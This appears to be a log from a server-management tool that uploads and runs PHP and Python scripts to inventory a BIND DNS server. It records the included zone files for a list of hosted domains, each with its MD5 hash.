See "systemctl status named.service" and "journalctl -xeu named.service" for details.


2026-04-25 17:59:35: Establishing a connection
2026-04-25 17:59:35: 

PUT: /tmp/pkp158021

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 17:59:35: 

runuser -l bind -s /bin/bash -c '/tmp/pkp158021; rm /tmp/pkp158021'

2026-04-25 17:59:35: 
2026-04-25 17:59:35: 

PUT: /tmp/pkp387828

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/bind/named.conf.local')
    show_file('/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf')
    show_file('/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-25 17:59:35: 

chmod 755 /tmp/pkp387828; /tmp/pkp387828; rm /tmp/pkp387828

2026-04-25 17:59:35: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/bind/named.conf.local	5039
//
// Do any local configuration here
//

// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";

include "0299c0c61c7ba070834ba2dd758c9c51.conf"; # biblealive.us
include "25162dac9ffbcb0be59287b7a9bde7f4.conf"; # carelinks.net
include "54524ffc708f1919654eee3e8e8e8adb.conf"; # carelinks.org
include "265e805c99c946847c9512ae0a2f1979.conf"; # Unknown Zone
include "94cdb93348589672ae2f4f7d5cf38aba.conf"; # christadelphia.net
include "695c92f1e52b32224b4afd59cf37d6f1.conf"; # heaster.org
include "a9ce89f9cbbf500822cbde90492a4b59.conf"; # c-c-n.net
include "1a70a64890644d614d006709f4d07011.conf"; # bookofjames.info
include "76868f6e068adf5f82f053b795932883.conf"; # aletheiacollege.net
include "b64ede8e027cbe0b900c74b7dad61fc6.conf"; # hristadelfiane.org
include "a6604325e1e95bb658a4876ded716488.conf"; # realchrist.info
include "c23c0a067c65fe695faa3f188e27944c.conf"; # realdevil.info
include "0a6ad15e551aafb493c6806effeddcf2.conf"; # thisisyourbible.info
include "7695e2001b9158b46e53b17c49af86b5.conf"; # murrayyoung.com
include "063b25bf16976ce1a2c836785c63433d.conf"; # bible-basics.info
include "e3a645e9cd9a48a14dd8493b70d9eeb7.conf"; # n-e-v.info
include "62fb2e372bc0a32115fbc83c762f20b5.conf"; # biblebooks.org.uk
include "9b1deba5ba095e87244f37a8e3f127c3.conf"; # exjw.org.uk
include "32d4fd93b17a2291b23647ec24f8da21.conf"; # vards.info
include "de5342f930e16cce802d35118a2fa8d3.conf"; # waltonecclesia.info
include "6f67b388e6765da580018fda67333d25.conf"; # tacomaecclesia.net
include "9c176806fc238e21c915b63d0649fc22.conf"; # shiretune.com.au
include "1e54f6c33ee3ca2eea403fca319b0ee4.conf"; # r-b-c.org
include "2debffd89b49e0229c33680cd8802ecb.conf"; # maminas.info
include "7be199ed365109a6d40950ee59d1f556.conf"; # carelinksoutreach.info
include "eebb27648fd2a6fb3ddcc9ab90e7112b.conf"; # baptizo.info
include "1f505a75628761de494a35ab69db20dd.conf"; # carelinksaustralia.info
include "88c5638dfb94d699fd48b1feb9d60cff.conf"; # biblebasicsonline.com
include "a4eb3fca977ca6015dcdbcabf7d11d48.conf"; # thinkpinkpixels.com
include "3c5ac3f042be6256f4781cbc416678be.conf"; # dalmenynaroomabushwalkers.info
include "c0f3c184d08b11c006e309fb0115bdd6.conf"; # osnovybiblii.info
include "5228c1dbadd38e40039230194a4f9e79.conf"; # osnowybiblii.info
include "a991f2a33195300884cfb80603e68095.conf"; # gospelstudies.net
include "3c4b5f94d47374f5ce45f7155d4ae5a8.conf"; # christadelphianfraternal.info
include "35d18abc44b089ffa23e3e2f0807ece6.conf"; # theyoungdesigners.us
include "40b78c826a55a9eeca31786e0586fee9.conf"; # islamicstate.info
include "93997bd832de09ba4e56713eaa81d340.conf"; # christadelphian.video
include "320b669d287ba63741ff57cf3e690770.conf"; # whysuffering.info
include "11674aee41a9cabe2304d659e10b5dd0.conf"; # drewmarshall.ca
include "0766fc100eec8a6853d7ddbdaedbb9bf.conf"; # freebible.info
include "05b92d9466be1ff60f99171b12b904c0.conf"; # bible.boston
include "d15154fdc73f852a93983b8efa978ccd.conf"; # carelinks-uk.org
include "ffb28d26a57997ceef6aa88af3ca2eb1.conf"; # siiguides.com
include "c92f7952a5e58a40373c6ea0395bbe60.conf"; # patientappsinc.com
include "69d0916aecf832c706b4d0e9097de457.conf"; # simplyinteractiveinc.com
include "9102cebf40552256181ade1b5794bce9.conf"; # vela.work
include "916eb0791d6219f551785c0d0cdb6551.conf"; # zoomchat.net
include "3d2ec12df06edc90dfcd3e90b9defc61.conf"; # stoughton.link
include "4e946d31d5dbbaea14c1f8a8cc65c592.conf"; # pjy.us
include "f526c54ffce876cc4878737cf365bd79.conf"; # the-computer-site.com
include "03d5b5f89be357e1588146db824a75a9.conf"; # hopeinstoughton.org
include "97b02af5a57f21e16869add9e7536c63.conf"; # patientapps.net
include "9ab47e96627d9522a0b8df2ee4322802.conf"; # patientapps.co
include "a1c902386bae85264c8bcd7d46d289a9.conf"; # emessage.email
include "1f055662da24bcf52398528dbf5a1c4f.conf"; # cityelectric.online
include "b77f3ffec345cac4b4296eed63420be1.conf"; # myapp.care
include "7312c9cb95b4bacf912d8bac1ea438cc.conf"; # vmix.com
include "6e7fd231117136482801b6740f7def61.conf"; # theyoungdesigners.com
include "ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf"; # bucketgigs.ca
include "82e710fb4c28419815112803356c4f79.conf"; # croydonchurch.info
include "d365b77ad7e9376e619973b277c11515.conf"; # kjvdictionary.org
include "b579aafafbcd32ebd30996c14e2929d0.conf"; # ineedtosaythis.com
include "e0dc27e9ac6120dd4b9b149abf3e317e.conf"; # dgmarshall.ca
include "210d2f210e4452e9446e4b9a5969250a.conf"; # dgmarshall.com
include "f9446b138d2c5ba2c536837db166189d.conf"; # hillrunfarm.ca
include "39a853d14cf222b11389743f34305dc2.conf"; # sosretreatscanada.com
include "28a5e75a7da01b086708dce3eb004d3c.conf"; # carelinks.org.uk
include "73c7599fdd5ae53f1a22acdec3f96f94.conf"; # cityelectric.site
include "6cba0a95209be6ac4156e85379be0bd6.conf"; # zoomchat.online
include "954ebedf55cc0740293342780846a6cd.conf"; # persianchurch.info
include "3d53240606bf6359dd62d3ebf20afc18.conf"; # patientapps.com
include "cf381d1fff06090b5818429e32e6000e.conf"; # 


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf	235
# this is an automatically created file: manual changes will be overwritten.
zone "" IN {
  ##owner ;
  type master;
  file "cf381d1fff06090b5818429e32e6000e.txt";
  allow-transfer { 66.175.233.192;  };
    allow-update { none; };

};


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt	90
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 18:00:18: Establishing a connection
2026-04-25 18:00:18: 

PUT: /tmp/pkp601477

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 18:00:19: 

